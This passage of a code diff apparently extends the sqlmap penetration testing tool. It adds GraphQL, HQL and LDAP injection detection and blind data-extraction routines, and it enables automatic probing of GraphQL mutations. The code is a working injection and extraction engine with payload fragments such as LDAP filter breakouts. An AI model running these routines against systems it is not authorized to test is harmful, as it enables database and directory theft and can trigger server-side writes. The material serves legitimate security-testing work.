+ if missing: + logger.warning("table '%s': %d of %d row(s) were inconclusive and omitted (result is partial)" % (table, missing, min(count, DUMP_MAX_ROWS))) if count > DUMP_MAX_ROWS: logger.warning("table '%s' has %d rows; dumping the first %d (DUMP_MAX_ROWS cap)" % (table, count, DUMP_MAX_ROWS)) @@ -1092,17 +1476,17 @@ def _grid(columns, rows): def _renderTypeStr(chain): - # Render a GraphQL type chain as a readable string: [User]! or String! - named = _leafName(chain) or "" - prefix = "" - suffix = "" - for kind, _ in chain: + # Render a GraphQL type chain: String!, [User], [String!]!, [[Int]!]! ... `chain` is outermost-> + # innermost (see _unwrapType), so wrap the named type INSIDE-OUT (reversed) - composing each + # wrapper around the accumulated string. The old code overwrote a single shared suffix, so a + # nested `[String!]!` collapsed to the malformed `[String!` (list-close lost). + out = _leafName(chain) or "" + for kind, _ in reversed(chain): if kind == "NON_NULL": - suffix = "!" + out += "!" elif kind == "LIST": - prefix = "[" + prefix - suffix = suffix + "]" - return prefix + named + suffix + out = "[" + out + "]" + return out def _dumpSchema(schema, endpoint): @@ -1152,34 +1536,63 @@ def _testSlot(slot, endpoint): where `oracle` is (truth, truthBatch, dbmsHint) for a usable blind-SQLi primitive (None for an error-only / non-differential point) and `oracleType` is None when nothing is confirmed.""" - kind = oracleType = detail = templatePage = dbmsHint = threshold = None + kind = oracleType = detail = templatePage = dbmsHint = threshold = winningPayload = None + isMutation = slot.operation == "mutation" - # Boolean content inference is the most reliable extraction oracle, so it is preferred over the - # (also valid) error and time signals, which serve as fallbacks for non-differential slots. - oracleType, templatePage = _detectBoolean(slot, endpoint) - if oracleType: - kind = "boolean" - logger.info("boolean-based oracle confirmed (%s)" % oracleType) - else: - errorType, detail = _detectError(slot, endpoint) - if errorType: - kind, oracleType = "error", errorType - logger.info("error-based oracle confirmed") + def _boolean(): + return ("boolean",) + _detectBoolean(slot, endpoint) # (kind, oracleType, templatePage, winPayload) + + def _error(): + et, dt, wp = _detectError(slot, endpoint) + return ("error", et, None, wp, dt) + + def _time(): + ot, th, dh, wp = _detectTime(slot, endpoint) + return ("time", ot, None, wp, th, dh) + + # For a MUTATION, run the error-based and (false-condition) probes BEFORE the always-true boolean + # pair, so a write resolver is not driven with a satisfied predicate any earlier than necessary; for + # a query, boolean content inference is the most reliable oracle and is preferred first. + order = ("error", "boolean", "time") if isMutation else ("boolean", "error", "time") + for step in order: + if step == "boolean": + _k, oracleType, templatePage, winningPayload = _boolean() + if oracleType: + kind = "boolean" + logger.info("boolean-based oracle confirmed (%s)" % oracleType) + break + elif step == "error": + _k, errorType, _tp, winningPayload, detail = _error() + if errorType: + kind, oracleType = "error", errorType + logger.info("error-based oracle confirmed") + break else: - oracleType, threshold, dbmsHint = _detectTime(slot, endpoint) + _k, oracleType, _tp, winningPayload, threshold, dbmsHint = _time() if oracleType: kind = "time" logger.info("time-based oracle confirmed (back-end '%s', threshold %.1fs)" % (dbmsHint, threshold)) + break if not kind: logger.info("no oracle confirmed for this slot") return None, None, None - logger.info("%s.%s(%s:) is vulnerable to GraphQL injection (%s-based)" % (slot.parentType, slot.fieldName, slot.targetArg, kind)) - title = "GraphQL %s" % oracleType - payload = _buildQuery(slot, _SQL_BOOLEAN_TRUE) or _SQL_BOOLEAN_TRUE - report = "---\nParameter: %s.%s(%s:) (%s)\n Type: GraphQL injection\n Title: %s\n Payload: %s\n---" % ( - slot.parentType, slot.fieldName, slot.targetArg, slot.strategy, title, _escapeGraphQLString(payload)) + # GraphQL is the TRANSPORT, not the vulnerability class. The oracle here is a blind SQL (or, for + # a NoSQL error signature, NoSQL) injection primitive in a resolver - report it as such, with + # GraphQL as the transport and the resolver argument as the location (the reviewer's core point: + # "Type: GraphQL injection" is wrong; it is SQL/NoSQL injection reached VIA GraphQL). + vulnClass = "NoSQL injection" if (oracleType or "").startswith("nosql") else "SQL injection" + location = "%s.%s(%s:)" % (slot.parentType, slot.fieldName, slot.targetArg) + logger.info("%s is vulnerable to %s via GraphQL (%s-based)" % (location, vulnClass, kind)) + title = "%s via GraphQL (%s-based)" % (vulnClass, kind) + # report the EXACT query that established THIS finding (the winning boolean/error/time/nosql + # payload), never a representative SQL-boolean payload for a time- or error-based hit - the shown + # reproducer must actually reproduce the reported issue + payload = _buildQuery(slot, winningPayload) or winningPayload + impactLine = (" Impact: mutation (%s)\n" % _mutationImpact(slot.fieldName)) if isMutation else "" + report = ("---\nParameter: %s (%s)\n Type: %s\n Title: %s\n Transport: GraphQL\n%s" + " Payload: %s\n---") % (location, slot.strategy, vulnClass, title, impactLine, _escapeGraphQLString(payload)) conf.dumper.singleString(report) if conf.beep: beep() @@ -1281,8 +1694,11 @@ def graphqlScan(): # (banner, tables, full table dumps). Mutation slots are reported but not # exercised, to avoid modifying server-side data. - global SENTINEL + global SENTINEL, COL_SEP SENTINEL = randomStr(length=10, lowercase=True) + # randomize the per-row cell separator each run: a fixed "~~~" that legitimately occurs in a cell + # would shift every subsequent column on split (silent corruption). A random token can't collide. + COL_SEP = "~%s~" % randomStr(length=12, lowercase=True) debugMsg = "'--graphql' is self-contained: it discovers the GraphQL endpoint, " debugMsg += "enumerates the schema, and injects SQL/NoSQL payloads into reachable " @@ -1346,12 +1762,6 @@ def graphqlScan(): if schema: _dumpSchema(schema, endpoint) - if mutationSlots: - names = sorted(set("%s(%s:)" % (_.fieldName, _.targetArg) for _ in mutationSlots)) - warnMsg = "skipping %d mutation slot(s) to avoid modifying server-side data " % len(mutationSlots) - warnMsg += "(%s). They may carry the same injection. Test them manually if intended" % ", ".join(names) - logger.warning(warnMsg) - # 5. Per-slot detection; keep the first usable blind-SQLi oracle for enumeration oracle = None found = False @@ -1368,6 +1778,42 @@ def graphqlScan(): logger.info("retaining %s.%s(%s:) as the blind-SQLi oracle for back-end enumeration" % ( slot.parentType, slot.fieldName, slot.targetArg)) + # 5b. Mutation slots are tested AUTOMATICALLY - but only when the (safer) query slots yielded no + # oracle, ranked so read-like mutations (login/verify/token/...) run before write-like ones, and + # each finding is gated by _testSlot's negative control + reproduction (a spurious write cannot be + # reported). Detection uses the error-based / boolean-false / conditional-time probes, which resolve + # in the lookup before any persistence. Impact is classified and reported per vector. As soon as a + # mutation oracle is retained the loop stops, to minimise further writes. + if mutationSlots and not oracle: + logger.info("no query-slot oracle; automatically testing %d mutation slot(s) (read-like ranked first)" % len(mutationSlots)) + for slot in _rankMutations(mutationSlots): + impact = _mutationImpact(slot.fieldName) + logger.info("testing mutation slot %s.%s(%s:) [%s, impact: %s]" % ( + slot.parentType, slot.fieldName, slot.targetArg, slot.strategy, impact)) + oracleType, slotOracle, _ = _testSlot(slot, endpoint) + if oracleType: + found = True + logger.info("mutation %s.%s(%s:) is injectable (impact classification: %s)" % ( + slot.parentType, slot.fieldName, slot.targetArg, impact)) + if slotOracle: + # Detection + report happen for EVERY confirmed mutation. But bulk blind enumeration + # (fingerprint + catalog + full dump = hundreds/thousands of resolver executions) is + # driven ONLY through a READ-LIKE mutation (login/verify/token/...). A write-like / + # unknown mutation is reported but NOT used as the enumeration transport unless its + # non-persistence is verified (a schema-backed, behaviour-confirmed dry-run/rollback - + # not merely a forced dryRun:true, which a resolver may ignore/invert). This keeps + # exploitation automatic without silently committing many writes. + if impact == "read-like" or _dryRunVerified(slot, endpoint): + oracle = slotOracle + logger.info("retaining %s mutation %s.%s(%s:) as the enumeration oracle; stopping further mutation probes" % ( + impact, slot.parentType, slot.fieldName, slot.targetArg)) + break + logger.warning("mutation %s.%s(%s:) is injectable but is WRITE-LIKE/UNKNOWN with unverified " + "non-persistence; reporting it WITHOUT driving bulk blind enumeration through it " + "(that would execute the write resolver many times). Re-target a read-like vector, " + "or expose a verified dry-run/rollback argument, to auto-enumerate through it." % ( + slot.parentType, slot.fieldName, slot.targetArg)) + # 6. Back-end enumeration through the retained oracle if oracle: _enumerate(oracle) diff --git a/lib/techniques/hql/inject.py b/lib/techniques/hql/inject.py index e0da607c6fc..7d2d0745e13 100644 --- a/lib/techniques/hql/inject.py +++ b/lib/techniques/hql/inject.py @@ -5,7 +5,6 @@ See the file 'LICENSE' for copying permission """ -import difflib import re import time @@ -18,6 +17,14 @@ from lib.core.data import logger from lib.core.enums import CUSTOM_LOGGING from lib.core.enums import PLACE +from lib.utils.nonsql import InconclusiveError +from lib.utils.nonsql import INCONCLUSIVE_MARK +from lib.utils.nonsql import userDecision +from lib.utils.nonsql import resolveBit +from lib.utils.nonsql import sqlErrorPresent +from lib.utils.nonsql import blockedStatus +from lib.utils.nonsql import ratio as _ratio +from lib.utils.nonsql import userOracleActive from lib.core.settings import HQL_CHAR_MAX from lib.core.settings import HQL_CHAR_MIN from lib.core.settings import HQL_COMMON_ENTITIES @@ -34,6 +41,7 @@ SENTINEL = randomStr(length=10, lowercase=True) + HQL_PLACES = (PLACE.GET, PLACE.POST, PLACE.CUSTOM_POST) # Attribute names probed (via an error-vs-valid oracle) once the mapped entity is @@ -67,8 +75,6 @@ Slot.__new__.__defaults__ = (None,) * 7 -def _ratio(first, second): - return difflib.SequenceMatcher(None, first or "", second or "").quick_ratio() def _delim(place): @@ -125,17 +131,24 @@ def _send(place, parameter, value): try: if conf.verbose >= 3: logger.log(CUSTOM_LOGGING.PAYLOAD, "%s=%s" % (parameter, value)) - page, _, _ = Request.getPage(raise404=False, silent=True) + page, _, code = Request.getPage(raise404=False, silent=True) + # a transport failure or a BLOCKED/ERROR status (5xx, 403/429) is not a usable oracle sample - + # signal None so the boolean routines (which reject None) can never decide a bit on it + if blockedStatus(code): + return None return page or "" except Exception as ex: logger.debug("HQL probe request failed: %s" % getUnicode(ex)) - return "" + return None finally: conf.parameters[place] = old_params def _isError(page): - return bool(re.search(HQL_ERROR_REGEX, getUnicode(page or ""))) + # an ORM/HQL error body OR a recognized SQL/DBMS error marks a response as NOT a valid boolean + # template (a broken break-out that trips a DBMS syntax error must not fake a boolean oracle). + page = getUnicode(page or "") + return bool(re.search(HQL_ERROR_REGEX, page)) or sqlErrorPresent(page) def _backendFromError(page): @@ -189,6 +202,10 @@ def _boolean(truthy, falsy): if _ratio(falsePage, falsy()) < UPPER_RATIO_BOUND: return None + # honor an explicit user oracle (--string/--not-string/--regexp) over raw similarity + if userOracleActive(): + return truePage if (userDecision(truePage) is True and userDecision(falsePage) is False) else None + if _ratio(truePage, falsePage) < UPPER_RATIO_BOUND: return truePage @@ -223,24 +240,87 @@ def _wrap(original, boundary, predicate): return "%s%s%s%s" % (original, boundary.prefix, predicate, boundary.suffix) -def _makeOracle(place, parameter, template, boundary, original): - """Build oracle(predicate) -> bool from a verified true template.""" +# HQL/JPQL-only WHERE predicates for positive attribution WITHOUT a reflected ORM error (production +# systems suppress diagnostics). Each pair differs ONLY in the truth of a construct that plain SQL does +# NOT evaluate the same way, so a true/false divergence is attributable to the ORM. +# +# NOTE deliberately NOT using Hibernate CAST type aliases (CAST(x AS string/integer/long/big_decimal)): +# although PostgreSQL/MySQL/MSSQL reject those type names, SQLite accepts ARBITRARY cast type names, so +# `CAST(1 AS string)='1'` is TRUE on plain SQLite and would mis-attribute a SQLite SQL injection as HQL. +# +# `str()` is Hibernate's legacy stringify function and is a clean discriminator across the target +# engines: SQLite/MySQL/MariaDB/PostgreSQL/H2/HSQLDB have NO `str()` function, so the payload ERRORS +# (both sides error -> no divergence -> not confirmed); Microsoft SQL Server's STR(1) yields a +# space-padded ' 1', so BOTH str(1)='1' and str(1)='2' are false (again no divergence). Only a +# Hibernate parser makes str(1)='1' true and str(1)='2' false. A single clean primitive is preferred +# over a broad battery here: on a context that rejects it, attribution simply falls back to +# "indistinguishable from SQLi" (safe under-report), never a false HQL claim. +_HQL_PREDICATES = ( + ("str(1)='1'", "str(1)='2'"), +) + + +def _confirmHql(place, parameter, boundary, original): + """Positive HQL/JPQL attribution with no reflected error: probe the HQL-only battery through the + boolean oracle. Returns True as soon as ANY primitive flips true/false behind the verified boundary; + a plain-SQL target (SQLite included) errors on or evaluates-both-false every one -> no divergence -> + not confirmed as HQL.""" + base = _base(boundary, original) + for truePred, falsePred in _HQL_PREDICATES: + if _boolean(lambda p=_wrap(base, boundary, truePred): _send(place, parameter, p), + lambda p=_wrap(base, boundary, falsePred): _send(place, parameter, p)): + return True + return False + + +def _makeOracle(place, parameter, boundary, original): + """Build the extraction oracle by RECALIBRATING BOTH true and false models on the SAME extraction + base + boundary the predicates use (`_base()` -> SENTINEL/-1, NOT the original-based detection + template). Reusing the detection true template (built with the original value) while extraction + ran on a different base was a base mismatch. Reproduce both, require separable, else None (disable + extraction). Classification is RELATIVE (closer to the true model than the false one, by a margin) + so dynamic drift can't flip a bit.""" cache = {} base = _base(boundary, original) def request(payload): + # cache ONLY usable responses - a cached transient failure would freeze a wrong bit forever if payload not in cache: - cache[payload] = _send(place, parameter, payload) + page = _send(place, parameter, payload) + if page is not None and not _isError(page): + cache[payload] = page + return page return cache[payload] - def truth(predicate): - page = request(_wrap(base, boundary, predicate)) - if page is None or _isError(page): - return False - return _ratio(template, page) >= UPPER_RATIO_BOUND + truePayload = _wrap(base, boundary, "1=1") + falsePayload = _wrap(base, boundary, "1=2") + trueTemplate = request(truePayload) + falseTemplate = request(falsePayload) + + if trueTemplate is None or falseTemplate is None or _isError(trueTemplate) or _isError(falseTemplate): + return None + if _ratio(trueTemplate, _send(place, parameter, truePayload)) < UPPER_RATIO_BOUND: # reproduce true + return None + if _ratio(falseTemplate, _send(place, parameter, falsePayload)) < UPPER_RATIO_BOUND: # reproduce false + return None + if _ratio(trueTemplate, falseTemplate) >= UPPER_RATIO_BOUND: # not separable -> can't extract + return None - truth.template = template + def truth(predicate): + # transport failure / blocked / error response is UNKNOWN, not False: route even a missing + # initial sample through resolveBit() (retry -> InconclusiveError) so a transient failure on a + # true predicate never becomes a permanent false bit that corrupts the bisection + payload = _wrap(base, boundary, predicate) + page = request(payload) + usable = page if (page is not None and not _isError(page)) else None + + def fresh(): + p = _send(place, parameter, payload) + return None if (p is None or _isError(p)) else p + return resolveBit(usable, trueTemplate, falseTemplate, fresh) + + truth.template = trueTemplate truth.cache = cache return truth @@ -335,36 +415,41 @@ def _scalar(entity, attrExpr, pin, after=None): def _inferValue(truth, entity, attribute, pin, after=None, maxLen=HQL_MAX_LENGTH): """Blindly recover one attribute value of the row selected by `pin`/`after`.""" - # length first, by binary search - lengthExpr = _scalar(entity, "LENGTH(CAST(_h.%s AS string))" % attribute, pin, after) - if not truth("%s>=1" % lengthExpr): - return "" - - lo, hi = 1, maxLen - while lo < hi: - mid = (lo + hi + 1) // 2 - if truth("%s>=%d" % (lengthExpr, mid)): - lo = mid - else: - hi = mid - 1 - length = lo - - chars = [] - for pos in xrange(1, length + 1): - # index of this character inside _CS_LITERAL, recovered by binary search - idxExpr = _scalar(entity, "LOCATE(SUBSTRING(CAST(_h.%s AS string),%d,1),'%s')" % (attribute, pos, _CS_LITERAL), pin, after) - if not truth("%s>=1" % idxExpr): - chars.append("?") - continue + try: + # length first, by binary search + lengthExpr = _scalar(entity, "LENGTH(CAST(_h.%s AS string))" % attribute, pin, after) + if not truth("%s>=1" % lengthExpr): + return "" - lo, hi = 1, len(_CS_LITERAL) + lo, hi = 1, maxLen while lo < hi: mid = (lo + hi + 1) // 2 - if truth("%s>=%d" % (idxExpr, mid)): + if truth("%s>=%d" % (lengthExpr, mid)): lo = mid else: hi = mid - 1 - chars.append(_CS_LITERAL[lo - 1]) + length = lo + + chars = [] + for pos in xrange(1, length + 1): + # index of this character inside _CS_LITERAL, recovered by binary search + idxExpr = _scalar(entity, "LOCATE(SUBSTRING(CAST(_h.%s AS string),%d,1),'%s')" % (attribute, pos, _CS_LITERAL), pin, after) + if not truth("%s>=1" % idxExpr): + chars.append("?") + continue + + lo, hi = 1, len(_CS_LITERAL) + while lo < hi: + mid = (lo + hi + 1) // 2 + if truth("%s>=%d" % (idxExpr, mid)): + lo = mid + else: + hi = mid - 1 + chars.append(_CS_LITERAL[lo - 1]) + except InconclusiveError: + # abort this value rather than emit a length/char chosen from an ambiguous bit + logger.warning("HQL extraction aborted for '%s.%s' (oracle inconclusive after retries)" % (entity, attribute)) + return None return "".join(chars) @@ -406,25 +491,42 @@ def _dumpEntity(oracle, place, parameter, entity): # advance the cursor; otherwise only the first (smallest-pin) row is recovered. rows = [] after = None + partial = False for _ in xrange(HQL_MAX_RECORDS): pinValue = _inferValue(oracle, entity, pin, pin, after) - if not pinValue: + if pinValue is None: + # None => the NEXT-row pin was INCONCLUSIVE (oracle aborted), NOT "no more rows". Stop, but + # flag the table PARTIAL rather than silently presenting it as the complete set. + partial = True + logger.warning("next-row pin for entity '%s' is inconclusive; the dumped table is PARTIAL" % entity) + break + if not pinValue: # "" => genuine end (no further row) break record = {pin: pinValue} for field in fields: if field != pin: - record[field] = _inferValue(oracle, entity, field, pin, after) + # None => extraction ABORTED for this cell (inconclusive oracle). Mark it visibly so it + # stays distinguishable from a genuine empty value - never silently blank. + cell = _inferValue(oracle, entity, field, pin, after) + record[field] = INCONCLUSIVE_MARK if cell is None else cell rows.append([record.get(_, "") for _ in fields]) logger.info(" retrieved record: %s" % ", ".join("%s='%s'" % (_, record.get(_, "")) for _ in fields)) if not re.match(r"\A\d+\Z", pinValue): + # a non-numeric pin (e.g. a UUID/string key) cannot advance the ascending cursor, so only + # the first row is recovered - flag the table PARTIAL rather than imply it is complete + if len(rows) == 1: + partial = True + logger.warning("entity '%s' pin '%s' is non-numeric; only the first row is enumerable (table is PARTIAL)" % (entity, pin)) break after = pinValue else: logger.warning("entity '%s' hit the HQL_MAX_RECORDS (%d) cap; some records may be omitted" % (entity, HQL_MAX_RECORDS)) + partial = True # a truncated cap is NOT a complete dump - conf.dumper.singleString("HQL: %s parameter '%s' entity '%s' (%d record%s, ordered by %s):\n%s" % (place, parameter, entity, len(rows), "s" if len(rows) != 1 else "", pin, _grid(columns, rows))) + completeness = ", PARTIAL - row enumeration aborted before the end" if partial else "" + conf.dumper.singleString("HQL: %s parameter '%s' entity '%s' (%d record%s%s, ordered by %s):\n%s" % (place, parameter, entity, len(rows), "s" if len(rows) != 1 else "", completeness, pin, _grid(columns, rows))) def hqlScan(): @@ -461,15 +563,36 @@ def hqlScan(): logger.info("%s parameter '%s' errors in the ORM parser but no boolean oracle was established" % (place, parameter)) continue - backend = backendHint or "Hibernate" + # CRITICAL: HQL compiles TO SQL, so a bare boolean break-out (`' or '1'='1`) is IDENTICAL + # to - and INDISTINGUISHABLE from - classic SQL injection. Claim HQL ONLY with positive + # ORM/Hibernate evidence: either a reflected parser diagnostic (_probeError) OR - when the + # app suppresses diagnostics - the HQL-only confirmation battery (_confirmHql: constructs + # valid in HQL/JPQL but rejected by plain SQL). Without either it is plain SQL injection and + # reporting it as HQL would be a false positive on every SQLi target. original = _originalValue(place, parameter) + if not backendHint: + if _confirmHql(place, parameter, boundary, original): + backendHint = "Hibernate (HQL/JPQL)" + logger.info("%s parameter '%s' confirmed HQL/JPQL via ORM-only constructs (no error leakage needed)" % (place, parameter)) + else: + logger.info("%s parameter '%s' yields a boolean oracle but shows no ORM/Hibernate evidence - indistinguishable from classic SQL injection; not reporting as HQL (re-run without '--hql' to test for SQLi)" % (place, parameter)) + continue + + backend = backendHint # Error leakage only helps when the app actually reflects diagnostics entity = _leakEntity(place, parameter, boundary, original) if backendHint else None - logger.info("%s parameter '%s' is vulnerable to HQL injection (back-end: '%s'%s)" % (place, parameter, backend, ", entity: '%s'" % entity if entity else "")) if conf.beep: beep() - oracle = _makeOracle(place, parameter, template, boundary, original) + oracle = _makeOracle(place, parameter, boundary, original) + if oracle is None: + # confirmed HQL, but the extraction true/false models are not reliably separable -> + # report the finding WITHOUT dumping (never fabricate entity/field data) + logger.info("%s parameter '%s' is vulnerable to HQL injection (back-end: '%s'%s); " + "extraction disabled (true/false models not reliably separable)" % (place, parameter, backend, ", entity: '%s'" % entity if entity else "")) + conf.dumper.singleString("---\nParameter: %s (%s)\n Type: HQL injection\n Title: HQL boolean-based blind (extraction unavailable)\n Payload: %s=%s\n---" % (parameter, place, parameter, payload)) + continue + logger.info("%s parameter '%s' is vulnerable to HQL injection (back-end: '%s'%s)" % (place, parameter, backend, ", entity: '%s'" % entity if entity else "")) slots.append(Slot(place=place, parameter=parameter, backend=backend, entity=entity, oracle=oracle, boundary=boundary, payload=payload)) diff --git a/lib/techniques/ldap/inject.py b/lib/techniques/ldap/inject.py index e433f4eb0bb..126b0c5f4cb 100644 --- a/lib/techniques/ldap/inject.py +++ b/lib/techniques/ldap/inject.py @@ -5,7 +5,6 @@ See the file 'LICENSE' for copying permission """ -import difflib import re import time @@ -18,6 +17,14 @@ from lib.core.data import logger from lib.core.enums import CUSTOM_LOGGING from lib.core.enums import PLACE +from lib.utils.nonsql import InconclusiveError +from lib.utils.nonsql import INCONCLUSIVE_MARK +from lib.utils.nonsql import userDecision +from lib.utils.nonsql import resolveBit +from lib.utils.nonsql import sqlErrorPresent +from lib.utils.nonsql import blockedStatus +from lib.utils.nonsql import ratio as _ratio +from lib.utils.nonsql import userOracleActive from lib.core.settings import LDAP_CHAR_MAX from lib.core.settings import LDAP_CHAR_MIN from lib.core.settings import LDAP_ERROR_REGEX @@ -32,6 +39,7 @@ SENTINEL = randomStr(length=10, lowercase=True) + # _send() below currently knows how to rebuild GET and POST-style parameter # strings. Cookie and URI delivery require separate per-place logic and should not # be advertised until implemented. @@ -104,8 +112,6 @@ Slot.__new__.__defaults__ = (None, None, None, None, None, None, None, None) -def _ratio(first, second): - return difflib.SequenceMatcher(None, first or "", second or "").quick_ratio() def _delim(place): @@ -162,17 +168,27 @@ def _send(place, parameter, value): if conf.verbose >= 3: logger.log(CUSTOM_LOGGING.PAYLOAD, payload) - page, _, _ = Request.getPage(**kwargs) + page, _, code = Request.getPage(**kwargs) + # a transport failure or a BLOCKED/ERROR status (5xx, 403/429 WAF/rate-limit) is not a usable + # oracle sample - signal None so `_boolean`/`extract` (which reject None) can't decide on it + if blockedStatus(code): + return None return page or "" except Exception as ex: logger.debug("LDAP probe request failed: %s" % getUnicode(ex)) - return "" + return None finally: conf.skipUrlEncode = skipUrlEncode def _isError(page): - return bool(re.search(LDAP_ERROR_REGEX, getUnicode(page or ""))) + # an LDAP error body OR a recognized SQL/DBMS error marks a response as NOT a valid boolean + # template. The SQL/DBMS check (reusing sqlmap's errors.xml via htmlParser + the generic + # `SQL (warning|error|syntax)` marker) is essential: an LDAP filter break-out like `1)(uid=*` + # trips a DBMS SYNTAX ERROR on a SQL-injectable parameter, and that error page merely differs + # from a normal page - which would otherwise fake a boolean oracle and misreport SQLi as LDAP. + page = getUnicode(page or "") + return bool(re.search(LDAP_ERROR_REGEX, page)) or sqlErrorPresent(page) def _backendFromError(page): @@ -180,7 +196,9 @@ def _backendFromError(page): for backend, regex in LDAP_ERROR_SIGNATURES: if re.search(regex, page): return backend - return "Generic LDAP" if _isError(page) else None + # ONLY a genuine LDAP error names a (generic) LDAP back-end - never a SQL/DBMS error (which + # _isError() also flags, so it can reject a faked oracle, but which must NOT be attributed to LDAP) + return "Generic LDAP" if re.search(LDAP_ERROR_REGEX, page) else None def _probeBackendByParserError(place, parameter): @@ -219,7 +237,16 @@ def _boolean(truthy, falsy): return None truePage2 = truthy() - if _ratio(truePage, truePage2) >= UPPER_RATIO_BOUND and _ratio(truePage, falsePage) < UPPER_RATIO_BOUND: + if _ratio(truePage, truePage2) < UPPER_RATIO_BOUND: # the TRUE side must independently reproduce + return None + if _ratio(falsePage, falsy()) < UPPER_RATIO_BOUND: # the FALSE side must independently reproduce too + return None + + # honor an explicit user oracle (--string/--not-string/--regexp) over raw similarity + if userOracleActive(): + return truePage if (userDecision(truePage) is True and userDecision(falsePage) is False) else None + + if _ratio(truePage, falsePage) < UPPER_RATIO_BOUND: # ... and true must differ from false return truePage return None @@ -229,24 +256,25 @@ def _detectBoolean(place, parameter): """Return (template, payload, breakout) for boolean-blind LDAPi.""" original = _originalValue(place, parameter) or "" - falsePayload = original + SENTINEL for breakout in LDAP_BREAKOUT_PREFIXES: for attr in LDAP_TAUTOLOGY_ATTRIBUTES: - # Open fragment by design. The application template supplies the tail. + # MATCHED controls: true and false share the SAME breakout, the SAME attribute and the + # SAME open-fragment shape - only the assertion's truth changes. `(attr=*` matches every + # directory entry; `(attr=` matches none. A diverging pair proves the value is + # parsed as an LDAP FILTER (the `)(...` escaped the surrounding filter), which a plain + # string search cannot reproduce. The old false control was a bare `original+SENTINEL` + # (an UNMATCHED ordinary string), so a validation layer or wildcard search could diverge + # for reasons unrelated to filter injection - a false positive. truePayload = "%s%s(%s=*" % (original, breakout, attr) + falsePayload = "%s%s(%s=%s" % (original, breakout, attr, SENTINEL) template = _boolean(lambda p=truePayload: _send(place, parameter, p), lambda p=falsePayload: _send(place, parameter, p)) if template: return template, truePayload, breakout - # Useful for auth/search bypass reporting, but not enough to synthesize - # arbitrary LDAP filters for enumeration. - if original: - template = _boolean(lambda: _send(place, parameter, "*"), - lambda: _send(place, parameter, SENTINEL)) - if template: - return template, "*", None + # NOTE: no bare `*`-vs-sentinel fallback. A wildcard returning more records is normal search + # behavior, not proof of an LDAP filter-boundary escape, and carries no breakout for extraction. return None, None, None @@ -377,44 +405,78 @@ def _compound(self, assertion, constraint=None, exclusions=None): return self.raw("%s(objectClass=%s*" % (compound, SENTINEL)) -def _makeOracle(place, parameter, template): +def _makeOracle(place, parameter, breakout): + """Build the extraction oracle by RECALIBRATING its true/false models on the SAME base + winning + breakout the extraction payloads use - the `_ProbeBuilder` leads every probe with SENTINEL, so + the models must too. A matched always-true filter `SENTINEL(objectClass=*` (objectClass + is on every entry) and a matched always-FALSE `SENTINEL(objectClass=` (no + entry has it) - same shape, only the assertion's truth changed. The old oracle compared SENTINEL- + based extraction payloads against an ORIGINAL-based detection template and a bare unreproduced + SENTINEL false page - a base/shape mismatch. Reproduce both, require separable, else None.""" + cache = {} def request(payload): + # cache ONLY usable responses - a cached transient failure would freeze a wrong bit forever if payload not in cache: - cache[payload] = _send(place, parameter, payload) + page = _send(place, parameter, payload) + if page and not _isError(page): + cache[payload] = page + return page return cache[payload] - falsePage = request(SENTINEL) + builder = _ProbeBuilder(breakout) + truePayload = builder.raw("(objectClass=*") + falsePayload = builder.raw("(objectClass=%s" % SENTINEL) + trueModel = request(truePayload) + falseModel = request(falsePayload) - def oracle(payload): - page = request(payload) - if not page or _isError(page): - return False - return _ratio(template, page) >= UPPER_RATIO_BOUND + if trueModel is None or falseModel is None or _isError(trueModel) or _isError(falseModel): + return None + if _ratio(trueModel, _send(place, parameter, truePayload)) < UPPER_RATIO_BOUND: # reproduce true + return None + if _ratio(falseModel, _send(place, parameter, falsePayload)) < UPPER_RATIO_BOUND: # reproduce false + return None + if _ratio(trueModel, falseModel) >= UPPER_RATIO_BOUND: # not separable -> can't extract reliably + return None def extract(payload): + # a positive bit (attribute-prefix match) must lean CLEARLY toward the recalibrated TRUE + # model over the matched FALSE model (shared 3-way classifier) - NOT merely "different from + # a bare sentinel page", which read a dynamic token / WAF body / transient exception as a + # match and fabricated LDAP values one character at a time. A transport failure / error is + # UNKNOWN (routed through resolveBit -> retry -> InconclusiveError), never a pre-decided False. page = request(payload) - if not page or _isError(page): - return False - return _ratio(falsePage, page) < UPPER_RATIO_BOUND + usable = page if (page and not _isError(page)) else None + + def fresh(): + p = _send(place, parameter, payload) + return None if (not p or _isError(p)) else p + return resolveBit(usable, trueModel, falseModel, fresh) + + def oracle(payload): + return extract(payload) oracle.extract = extract - oracle.template = template - oracle.falsePage = falsePage + oracle.template = trueModel + oracle.falsePage = falseModel oracle.cache = cache return oracle # Avoid LDAP metacharacters in blind character extraction. In real LDAP they can # be escaped, but many simple test harnesses decode them before wildcard handling, -# producing false positives. Transport-sensitive chars are allowed because -# _ldapLiteral() encodes them. -_META_ORDS = set(ord(_) for _ in ('*', '(', ')', '\\')) +# The filter metacharacters *, (, ), \ are INCLUDED in the extraction charset: `_ldapLiteral()` escapes +# each one (*->\2a, (->\28, )->\29, \->\5c) in the prefix probe, so they are matched as LITERAL bytes +# (no wildcard / no false positive) and a value like `CN=Smith\, John (Admin)` or `abc*def` is recovered +# in full instead of being truncated at the first metacharacter. They sit at the FREQUENCY TAIL (rare in +# real data), so common characters are still tried first. +_META_ORDS = set() _FREQ = (tuple(xrange(ord('a'), ord('z') + 1)) + tuple(xrange(ord('A'), ord('Z') + 1)) + tuple(xrange(ord('0'), ord('9') + 1)) + - tuple(ord(_) for _ in "@._-+ ")) + tuple(ord(_) for _ in "@._-+ ") + + tuple(ord(_) for _ in "*()\\")) # filter metacharacters (escaped by _ldapLiteral) _CHARSET = [] for _ in _FREQ: if LDAP_CHAR_MIN <= _ <= LDAP_CHAR_MAX and _ not in _META_ORDS and _ not in _CHARSET: @@ -428,33 +490,41 @@ def _exists(oracle, builder, attr, constraint=None, exclusions=None): return oracle.extract(builder.presence(attr, constraint=constraint, exclusions=exclusions)) -def _inferAttribute(oracle, builder, attr, constraint=None, exclusions=None, maxLen=LDAP_MAX_LENGTH): +def _inferAttribute(oracle, builder, attr, constraint=None, exclusions=None, maxLen=LDAP_MAX_LENGTH, strict=False): value = "" probes = 0 - for _ in xrange(maxLen): - found = False + try: + for _ in xrange(maxLen): + found = False - for cp in _CHARSET: - candidate = value + chr(cp) - probes += 1 + for cp in _CHARSET: + candidate = value + chr(cp) + probes += 1 - if oracle.extract(builder.prefix(attr, candidate, constraint=constraint, exclusions=exclusions)): - value = candidate - found = True - break + if oracle.extract(builder.prefix(attr, candidate, constraint=constraint, exclusions=exclusions)): + value = candidate + found = True + break - if not found: - break + if not found: + break - # Three or more consecutive trailing spaces never occur in real - # directory data. When the server-side LDAP-to-SQL translation - # (or equivalent) 